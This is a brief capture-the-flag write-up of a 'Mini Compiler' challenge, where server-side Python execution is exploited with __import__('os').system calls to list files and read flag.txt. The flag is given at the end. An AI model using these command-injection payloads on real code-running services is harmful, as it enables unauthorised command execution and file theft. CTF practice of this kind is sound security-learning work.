Mini Compiler


“Remote code execution as a service.”. Reminded me of my freshman year’s moodle exploitation :lol:.

The statement

In this challenge, you have access to a simple online compiler that executes Python code. The code you submit is run on the server, and your goal is to exploit this vulnerability to retrieve the secret flag

Solution

PY
1
__import__("os").system("ls")

these ain’t challenges at this point

PY
1
__import__("os").system("cat flag.txt")

these ain’t challenges at this point

Flag: r00t@locahost{mini_compiler_pwn}